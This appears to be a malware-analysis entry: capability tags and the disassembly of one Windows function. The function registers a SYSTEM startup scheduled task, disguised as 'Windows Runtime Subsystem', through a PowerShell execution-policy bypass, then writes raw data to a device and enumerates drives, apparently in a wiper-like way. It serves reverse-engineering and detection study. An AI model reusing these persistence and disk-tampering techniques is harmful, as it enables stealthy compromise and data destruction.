Function at 0x401ac0
Capabilities:
Create process on windows
Create process suspended
Create thread
Get disk information
Schedule task via schtasks
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xbc4
mov eax, dword [0x414024]
xor eax, esp
mov dword [esp + 0xbc0], eax
push ebx
push esi
push edi
push 0x104
lea eax, [esp + 0x13c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, 0x44
lea eax, [esp + 0x38]
nop dword [eax + eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x401b00
mov dword [esp + 0x38], 0x44
lea eax, [esp + 0x10]
mov ecx, 0x10
nop dword [eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x401b20
lea edx, [esp + 0x138]
lea ecx, [esp + 0x340]
call fcn.004018c0
mov ecx, 0x2d
lea edi, [esp + 0x80]
mov esi, str.powershell__ExecutionPolicy_Bypass__Command___Action__New_ScheduledTaskAction__Execute_
lea eax, [esp + 0x80]
rep movsd dword es:[edi], dword [esi]
push eax
lea eax, [esp + 0x7cc]
mov ecx, 0x9f
mov esi, str.___Trigger__New_ScheduledTaskTrigger__AtStartup___Principal__New_ScheduledTaskPrincipal__UserId_SYSTEM__LogonType_ServiceAccount__RunLevel_Highest__Register_ScheduledTask__Action__Action__Trigger__Trigger__Principal__Principal__TaskName_Windows_Runtime_Subsystem__Description_Client_Server_Runtime_SubSystem_
lea edi, [esp + 0x54c]
rep movsd dword es:[edi], dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [esp + 0x340]
push eax
lea eax, [esp + 0x7cc]
push eax
call esi
lea eax, [esp + 0x548]
push eax
lea eax, [esp + 0x7cc]
push eax
call esi
xor eax, eax
mov word [esp + 0x68], ax
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x7e8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push dword [esp + 0x10]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push dword [esp + 0x14]
call ebx
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00401010
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
push 0x411d9c
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 4
push 0x3000
push 0x1000
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x401c70
cmp esi, 0xffffffff
je 0x401c70
push 0
lea eax, [esp + 0x24]
push eax
push 0x1000
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
call ebx
push 0
push 0
push 0
push 0x401360
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
push 0
push 0
call edi
mov esi, eax
test esi, esi
je 0x401cf5
push 4
push 0x3000
lea ecx, [esi*2 + 2]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
test ebx, ebx
je 0x401cef
push ebx
push esi
call edi
push ebx
mov esi, ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
test edi, edi
je 0x401ce1
mov ecx, esi
call fcn.004015c0
lea esi, [esi + edi*2]
add esi, 2
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
test edi, edi
jne 0x401cc7
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7530
call edi
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
push str..C:
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x401d41
push 0
lea eax, [esp + 0x28]
push eax
push 0
push 0
push 0
push 0
push 0x2d4808
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
call ebx
push 0x2710
call edi
mov ecx, dword [esp + 0xbcc]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401ea5
mov esp, ebp
pop ebp
ret 0x10